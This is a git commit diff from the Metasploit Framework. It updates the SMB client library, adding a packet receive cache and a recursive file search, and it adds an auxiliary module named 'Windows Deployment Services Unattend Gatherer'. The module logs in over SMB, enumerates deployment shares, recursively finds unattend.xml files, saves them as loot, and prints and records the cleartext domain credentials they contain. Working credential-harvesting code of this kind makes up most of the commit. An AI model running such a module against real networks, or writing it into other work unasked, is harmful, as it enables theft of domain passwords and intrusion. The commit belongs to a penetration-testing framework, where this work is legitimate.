SMB lib fixes, unattend.xml cred gathering
This commit is contained in:
commit
002234993f
|
@ -150,16 +150,64 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
packet.v['ProcessID'] = self.process_id.to_i
|
packet.v['ProcessID'] = self.process_id.to_i
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Receive a full SMB reply and cache the parsed packet
|
||||||
# The main dispatcher for all incoming SMB packets
|
def smb_recv_and_cache
|
||||||
def smb_recv_parse(expected_type, ignore_errors = false)
|
@smb_recv_cache ||= []
|
||||||
|
|
||||||
# This will throw an exception if it fails to read the whole packet
|
# This will throw an exception if it fails to read the whole packet
|
||||||
data = self.smb_recv
|
data = self.smb_recv
|
||||||
|
|
||||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||||
pkt.from_s(data)
|
pkt.from_s(data)
|
||||||
res = pkt
|
|
||||||
|
# Store the received packet into the cache
|
||||||
|
@smb_recv_cache << [ pkt, data, Time.now ]
|
||||||
|
end
|
||||||
|
|
||||||
|
# Scan the packet receive cache for a matching response
|
||||||
|
def smb_recv_cache_find_match(expected_type)
|
||||||
|
|
||||||
|
clean = []
|
||||||
|
found = nil
|
||||||
|
|
||||||
|
@smb_recv_cache.each do |cent|
|
||||||
|
pkt, data, tstamp = cent
|
||||||
|
|
||||||
|
# Return matching packets and mark for removal
|
||||||
|
if pkt['Payload']['SMB'].v['Command'] == expected_type
|
||||||
|
found = [pkt,data]
|
||||||
|
clean << cent
|
||||||
|
end
|
||||||
|
|
||||||
|
# Purge any packets older than 5 minutes
|
||||||
|
if Time.now.to_i - tstamp.to_i > 300
|
||||||
|
clean << cent
|
||||||
|
end
|
||||||
|
|
||||||
|
break if found
|
||||||
|
end
|
||||||
|
|
||||||
|
clean.each do |cent|
|
||||||
|
@smb_recv_cache.delete(cent)
|
||||||
|
end
|
||||||
|
|
||||||
|
found
|
||||||
|
end
|
||||||
|
|
||||||
|
# The main dispatcher for all incoming SMB packets
|
||||||
|
def smb_recv_parse(expected_type, ignore_errors = false)
|
||||||
|
|
||||||
|
pkt = nil
|
||||||
|
data = nil
|
||||||
|
|
||||||
|
# This allows for some leeway when a previous response has not
|
||||||
|
# been processed but a new request was sent. The old response
|
||||||
|
# will eventually be timed out of the cache.
|
||||||
|
1.upto(3) do |attempt|
|
||||||
|
smb_recv_and_cache
|
||||||
|
pkt,data = smb_recv_cache_find_match(expected_type)
|
||||||
|
break if pkt
|
||||||
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
case pkt['Payload']['SMB'].v['Command']
|
case pkt['Payload']['SMB'].v['Command']
|
||||||
|
@ -207,15 +255,11 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
raise XCEPT::InvalidCommand
|
raise XCEPT::InvalidCommand
|
||||||
end
|
end
|
||||||
|
|
||||||
if (pkt['Payload']['SMB'].v['Command'] != expected_type)
|
|
||||||
raise XCEPT::InvalidType
|
|
||||||
end
|
|
||||||
|
|
||||||
if (ignore_errors == false and pkt['Payload']['SMB'].v['ErrorClass'] != 0)
|
if (ignore_errors == false and pkt['Payload']['SMB'].v['ErrorClass'] != 0)
|
||||||
raise XCEPT::ErrorCode
|
raise XCEPT::ErrorCode
|
||||||
end
|
end
|
||||||
|
|
||||||
rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::InvalidType, XCEPT::ErrorCode
|
rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::ErrorCode
|
||||||
$!.word_count = pkt['Payload']['SMB'].v['WordCount']
|
$!.word_count = pkt['Payload']['SMB'].v['WordCount']
|
||||||
$!.command = pkt['Payload']['SMB'].v['Command']
|
$!.command = pkt['Payload']['SMB'].v['Command']
|
||||||
$!.error_code = pkt['Payload']['SMB'].v['ErrorClass']
|
$!.error_code = pkt['Payload']['SMB'].v['ErrorClass']
|
||||||
|
@ -1837,10 +1881,11 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
0, # Storage type is zero
|
0, # Storage type is zero
|
||||||
].pack('vvvvV') + path + "\x00"
|
].pack('vvvvV') + path + "\x00"
|
||||||
|
|
||||||
begin
|
|
||||||
resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '')
|
resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '')
|
||||||
search_next = 0
|
search_next = 0
|
||||||
begin
|
|
||||||
|
# Loop until we run out of results
|
||||||
|
loop do
|
||||||
pcnt = resp['Payload'].v['ParamCount']
|
pcnt = resp['Payload'].v['ParamCount']
|
||||||
dcnt = resp['Payload'].v['DataCount']
|
dcnt = resp['Payload'].v['DataCount']
|
||||||
poff = resp['Payload'].v['ParamOffset']
|
poff = resp['Payload'].v['ParamOffset']
|
||||||
|
@ -1859,13 +1904,15 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
# search id, search count, end of search, error offset, last name offset
|
# search id, search count, end of search, error offset, last name offset
|
||||||
sid, scnt, eos, eoff, loff = resp_parm.unpack('v5')
|
sid, scnt, eos, eoff, loff = resp_parm.unpack('v5')
|
||||||
else
|
else
|
||||||
# FINX_NEXT doesn't return a SID
|
# FIND_NEXT doesn't return a SID
|
||||||
scnt, eos, eoff, loff = resp_parm.unpack('v4')
|
scnt, eos, eoff, loff = resp_parm.unpack('v4')
|
||||||
end
|
end
|
||||||
|
|
||||||
didx = 0
|
didx = 0
|
||||||
while (didx < resp_data.length)
|
while (didx < resp_data.length)
|
||||||
info_buff = resp_data[didx, 70]
|
info_buff = resp_data[didx, 70]
|
||||||
break if info_buff.length != 70
|
break if info_buff.length != 70
|
||||||
|
|
||||||
info = info_buff.unpack(
|
info = info_buff.unpack(
|
||||||
'V'+ # Next Entry Offset
|
'V'+ # Next Entry Offset
|
||||||
'V'+ # File Index
|
'V'+ # File Index
|
||||||
|
@ -1881,10 +1928,16 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
'C'+ # Short File Name Length
|
'C'+ # Short File Name Length
|
||||||
'C' # Reserved
|
'C' # Reserved
|
||||||
)
|
)
|
||||||
name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '')
|
|
||||||
files[name] =
|
name = resp_data[didx + 70 + 24, info[15]]
|
||||||
|
|
||||||
|
# Verify that the filename was actually present
|
||||||
|
break unless name
|
||||||
|
|
||||||
|
# Key the file list minus any trailing nulls
|
||||||
|
files[name.sub(/\x00+$/n, '')] =
|
||||||
{
|
{
|
||||||
'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F',
|
'type' => ( info[14] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0 ) ? 'F' : 'D',
|
||||||
'attr' => info[14],
|
'attr' => info[14],
|
||||||
'info' => info
|
'info' => info
|
||||||
}
|
}
|
||||||
|
@ -1892,19 +1945,22 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
break if info[0] == 0
|
break if info[0] == 0
|
||||||
didx += info[0]
|
didx += info[0]
|
||||||
end
|
end
|
||||||
|
|
||||||
last_search_id = sid
|
last_search_id = sid
|
||||||
last_offset = loff
|
last_offset = loff
|
||||||
last_filename = name
|
last_filename = name
|
||||||
if eos == 0 and last_offset != 0 #If we aren't at the end of the search, run find_next
|
|
||||||
|
# Exit the search if we reached the end of our results
|
||||||
|
break if (eos != 0 or last_search_id.nil? or last_offset.to_i == 0)
|
||||||
|
|
||||||
|
# If we aren't at the end of the search, run find_next
|
||||||
resp = find_next(last_search_id, last_offset, last_filename)
|
resp = find_next(last_search_id, last_offset, last_filename)
|
||||||
search_next = 1 # Flip bit so response params will parse correctly
|
|
||||||
end
|
# Flip bit so response params will parse correctly
|
||||||
end until eos != 0 or last_offset == 0
|
search_next = 1
|
||||||
rescue ::Exception
|
|
||||||
raise $!
|
|
||||||
end
|
end
|
||||||
|
|
||||||
return files
|
files
|
||||||
end
|
end
|
||||||
|
|
||||||
# Supplements find_first if file/dir count exceeds max search count
|
# Supplements find_first if file/dir count exceeds max search count
|
||||||
|
@ -1916,9 +1972,59 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
260, # Level of interest
|
260, # Level of interest
|
||||||
resume_key, # Resume key from previous (Last name offset)
|
resume_key, # Resume key from previous (Last name offset)
|
||||||
6, # Close search if end of search
|
6, # Close search if end of search
|
||||||
].pack('vvvVv') + last_filename.to_s + "\x00" # Last filename returned from find_first or find_next
|
].pack('vvvVv') +
|
||||||
resp = trans2(CONST::TRANS2_FIND_NEXT2, parm, '')
|
last_filename.to_s + # Last filename returned from find_first or find_next
|
||||||
return resp # Returns the FIND_NEXT2 response packet for parsing by the find_first function
|
"\x00" # Terminate the file name
|
||||||
|
|
||||||
|
# Returns the FIND_NEXT2 response packet for parsing by the find_first function
|
||||||
|
trans2(CONST::TRANS2_FIND_NEXT2, parm, '')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Recursively search for files matching a regular expression
|
||||||
|
def file_search(current_path, regex, depth)
|
||||||
|
depth -= 1
|
||||||
|
return [] if depth < 0
|
||||||
|
|
||||||
|
results = find_first(current_path + "*")
|
||||||
|
files = []
|
||||||
|
|
||||||
|
results.each_pair do |fname, finfo|
|
||||||
|
|
||||||
|
# Skip current and parent directory results
|
||||||
|
next if %W{. ..}.include?(fname)
|
||||||
|
|
||||||
|
# Verify the results contain an attribute
|
||||||
|
next unless finfo and finfo['attr']
|
||||||
|
|
||||||
|
if finfo['attr'] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0
|
||||||
|
# Add any matching files to our result set
|
||||||
|
files << "#{current_path}#{fname}" if fname =~ regex
|
||||||
|
else
|
||||||
|
# Recurse into the discovery subdirectory for more files
|
||||||
|
begin
|
||||||
|
search_path = "#{current_path}#{fname}\\"
|
||||||
|
file_search(search_path, regex, depth).each {|fn| files << fn }
|
||||||
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||||
|
|
||||||
|
# Ignore common errors related to permissions and non-files
|
||||||
|
if %W{
|
||||||
|
STATUS_ACCESS_DENIED
|
||||||
|
STATUS_NO_SUCH_FILE
|
||||||
|
STATUS_OBJECT_NAME_NOT_FOUND
|
||||||
|
STATUS_OBJECT_PATH_NOT_FOUND
|
||||||
|
}.include? e.get_error(e.error_code)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
$stderr.puts [e, e.get_error(e.error_code), search_path]
|
||||||
|
|
||||||
|
raise e
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
files.uniq
|
||||||
end
|
end
|
||||||
|
|
||||||
# Creates a new directory on the mounted tree
|
# Creates a new directory on the mounted tree
|
||||||
|
@ -1932,8 +2038,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts
|
attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts
|
||||||
attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm
|
attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm
|
||||||
attr_accessor :system_time, :system_zone
|
attr_accessor :system_time, :system_zone
|
||||||
#misc
|
attr_accessor :spnopt
|
||||||
attr_accessor :spnopt # used for SPN
|
|
||||||
|
|
||||||
# public read methods
|
# public read methods
|
||||||
attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
|
attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
|
||||||
|
@ -1941,21 +2046,18 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
attr_reader :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
|
attr_reader :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
|
||||||
attr_reader :dns_host_name, :dns_domain_name
|
attr_reader :dns_host_name, :dns_domain_name
|
||||||
attr_reader :security_mode, :server_guid
|
attr_reader :security_mode, :server_guid
|
||||||
#signing related
|
|
||||||
attr_reader :sequence_counter,:signing_key, :require_signing
|
attr_reader :sequence_counter,:signing_key, :require_signing
|
||||||
|
|
||||||
# private methods
|
# private write methods
|
||||||
attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
|
attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
|
||||||
attr_writer :default_domain, :default_name, :auth_user, :auth_user_id
|
attr_writer :default_domain, :default_name, :auth_user, :auth_user_id
|
||||||
attr_writer :dns_host_name, :dns_domain_name
|
attr_writer :dns_host_name, :dns_domain_name
|
||||||
attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
|
attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
|
||||||
attr_writer :security_mode, :server_guid
|
attr_writer :security_mode, :server_guid
|
||||||
#signing related
|
|
||||||
attr_writer :sequence_counter,:signing_key, :require_signing
|
attr_writer :sequence_counter,:signing_key, :require_signing
|
||||||
|
|
||||||
attr_accessor :socket
|
attr_accessor :socket
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -261,6 +261,23 @@ FILE_FILE_COMPRESSION = 0x00000008
|
||||||
FILE_VOLUME_QUOTAS = 0x00000010
|
FILE_VOLUME_QUOTAS = 0x00000010
|
||||||
FILE_VOLUME_IS_COMPRESSED = 0x00008000
|
FILE_VOLUME_IS_COMPRESSED = 0x00008000
|
||||||
|
|
||||||
|
# SMB_EXT_FILE_ATTR
|
||||||
|
# http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx
|
||||||
|
SMB_EXT_FILE_ATTR_READONLY = 0x00000001
|
||||||
|
SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002
|
||||||
|
SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004
|
||||||
|
SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010
|
||||||
|
SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020
|
||||||
|
SMB_EXT_FILE_ATTR_NORMAL = 0x00000080
|
||||||
|
SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100
|
||||||
|
SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800
|
||||||
|
SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000
|
||||||
|
SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000
|
||||||
|
SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000
|
||||||
|
SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000
|
||||||
|
SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000
|
||||||
|
SMB_EXT_FILE_NO_BUFFERING = 0x20000000
|
||||||
|
SMB_EXT_FILE_WRITE_THROUGH = 0x80000000
|
||||||
|
|
||||||
# SMB Error Codes
|
# SMB Error Codes
|
||||||
SMB_STATUS_SUCCESS = 0x00000000
|
SMB_STATUS_SUCCESS = 0x00000000
|
||||||
|
|
|
@ -0,0 +1,232 @@
|
||||||
|
#
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/proto/dcerpc'
|
||||||
|
require 'rex/parser/unattend'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::SMB
|
||||||
|
include Msf::Exploit::Remote::SMB::Authenticated
|
||||||
|
include Msf::Exploit::Remote::DCERPC
|
||||||
|
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will search remote file shares for unattended installation files that may contain
|
||||||
|
domain credentials. This is often used after discovering domain credentials with the
|
||||||
|
auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already
|
||||||
|
have domain credentials. This module will connect to the RemInst share and any Microsoft
|
||||||
|
Deployment Toolkit shares indicated by the share name comments.
|
||||||
|
},
|
||||||
|
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'MSDN', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
|
||||||
|
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'],
|
||||||
|
],
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(445),
|
||||||
|
OptString.new('SMBDomain', [ false, "SMB Domain", '']),
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Determine the type of share based on an ID type value
|
||||||
|
def share_type(val)
|
||||||
|
stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY }
|
||||||
|
stypes[val] || 'UNKNOWN'
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC
|
||||||
|
# and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed!
|
||||||
|
def srvsvc_netshareenum
|
||||||
|
shares = []
|
||||||
|
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
|
||||||
|
|
||||||
|
begin
|
||||||
|
dcerpc_bind(handle)
|
||||||
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||||
|
print_error("#{rhost} : #{e.message}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
stubdata =
|
||||||
|
NDR.uwstring("\\\\#{rhost}") +
|
||||||
|
NDR.long(1) #level
|
||||||
|
|
||||||
|
ref_id = stubdata[0,4].unpack("V")[0]
|
||||||
|
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
|
||||||
|
|
||||||
|
stubdata << ctr
|
||||||
|
stubdata << NDR.align(ctr)
|
||||||
|
stubdata << [0xffffffff].pack("V")
|
||||||
|
stubdata << [ref_id + 8, 0].pack("VV")
|
||||||
|
|
||||||
|
response = dcerpc.call(0x0f, stubdata)
|
||||||
|
|
||||||
|
# Additional error handling and validation needs to occur before
|
||||||
|
# this code can be moved into a mixin
|
||||||
|
|
||||||
|
res = response.dup
|
||||||
|
win_error = res.slice!(-4, 4).unpack("V")[0]
|
||||||
|
if win_error != 0
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Level, CTR header, Reference ID of CTR
|
||||||
|
res.slice!(0,12)
|
||||||
|
share_count = res.slice!(0, 4).unpack("V")[0]
|
||||||
|
|
||||||
|
# Reference ID of CTR1
|
||||||
|
res.slice!(0,4)
|
||||||
|
share_max_count = res.slice!(0, 4).unpack("V")[0]
|
||||||
|
|
||||||
|
if share_max_count != share_count
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count")
|
||||||
|
end
|
||||||
|
|
||||||
|
# ReferenceID / Type / ReferenceID of Comment
|
||||||
|
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
|
||||||
|
|
||||||
|
share_count.times do |t|
|
||||||
|
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
|
||||||
|
|
||||||
|
if offset != 0
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero")
|
||||||
|
end
|
||||||
|
|
||||||
|
if length != max_length
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length")
|
||||||
|
end
|
||||||
|
|
||||||
|
name = res.slice!(0, 2 * length)
|
||||||
|
res.slice!(0,2) if length % 2 == 1 # pad
|
||||||
|
|
||||||
|
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
|
||||||
|
|
||||||
|
if comment_offset != 0
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero")
|
||||||
|
end
|
||||||
|
|
||||||
|
if comment_length != comment_max_length
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length")
|
||||||
|
end
|
||||||
|
|
||||||
|
comment = res.slice!(0, 2 * comment_length)
|
||||||
|
res.slice!(0,2) if comment_length % 2 == 1 # pad
|
||||||
|
|
||||||
|
shares << [ name, share_type(types[t]), comment]
|
||||||
|
end
|
||||||
|
|
||||||
|
shares
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
deploy_shares = []
|
||||||
|
|
||||||
|
begin
|
||||||
|
connect
|
||||||
|
smb_login
|
||||||
|
srvsvc_netshareenum.each do |share|
|
||||||
|
# Ghetto unicode to ascii conversation
|
||||||
|
share_name = share[0].unpack("v*").pack("C*").split("\x00").first
|
||||||
|
share_comm = share[2].unpack("v*").pack("C*").split("\x00").first
|
||||||
|
share_type = share[1]
|
||||||
|
|
||||||
|
if share_type == "DISK" && (share_name == "REMINST" || share_comm == "MDT Deployment Share")
|
||||||
|
vprint_good("#{ip}:#{rport} Identified deployment share #{share_name} #{share_comm}")
|
||||||
|
deploy_shares << share_name
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
deploy_shares.each do |deploy_share|
|
||||||
|
query_share(deploy_share)
|
||||||
|
end
|
||||||
|
|
||||||
|
rescue ::Interrupt
|
||||||
|
raise $!
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def query_share(share)
|
||||||
|
share_path = "\\\\#{rhost}\\#{share}"
|
||||||
|
vprint_status("#{rhost}:#{rport} Enumerating #{share}...")
|
||||||
|
|
||||||
|
begin
|
||||||
|
simple.connect(share_path)
|
||||||
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||||
|
print_error("#{rhost}:#{rport} Could not access share: #{share} - #{e}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
results = simple.client.file_search("\\", /unattend.xml$/i, 10)
|
||||||
|
|
||||||
|
results.each do |file_path|
|
||||||
|
file = simple.open(file_path, 'o').read()
|
||||||
|
next unless file
|
||||||
|
|
||||||
|
loot_unattend(file)
|
||||||
|
|
||||||
|
creds = parse_client_unattend(file)
|
||||||
|
creds.each do |cred|
|
||||||
|
next unless (cred && cred['username'] && cred['password'])
|
||||||
|
next unless cred['username'].to_s.length > 0
|
||||||
|
next unless cred['password'].to_s.length > 0
|
||||||
|
|
||||||
|
report_creds(cred['domain'].to_s, cred['username'], cred['password'])
|
||||||
|
print_good("#{rhost}:#{rport} Credentials: " +
|
||||||
|
"Path=#{share_path}#{file_path} " +
|
||||||
|
"Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " +
|
||||||
|
"Password=#{cred['password'].to_s}"
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_client_unattend(data)
|
||||||
|
|
||||||
|
begin
|
||||||
|
xml = REXML::Document.new(data)
|
||||||
|
rescue REXML::ParseException => e
|
||||||
|
print_error("Invalid XML format")
|
||||||
|
vprint_line(e.message)
|
||||||
|
end
|
||||||
|
Rex::Parser::Unattend.parse(xml).flatten
|
||||||
|
end
|
||||||
|
|
||||||
|
def loot_unattend(data)
|
||||||
|
return if data.empty?
|
||||||
|
path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services")
|
||||||
|
print_status("#{rhost}:#{rport} Stored unattend.xml in #{path}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_creds(domain, user, pass)
|
||||||
|
report_auth_info(
|
||||||
|
:host => rhost,
|
||||||
|
:port => 445,
|
||||||
|
:sname => 'smb',
|
||||||
|
:proto => 'tcp',
|
||||||
|
:source_id => nil,
|
||||||
|
:source_type => "aux",
|
||||||
|
:user => "#{domain}\\#{user}",
|
||||||
|
:pass => pass
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue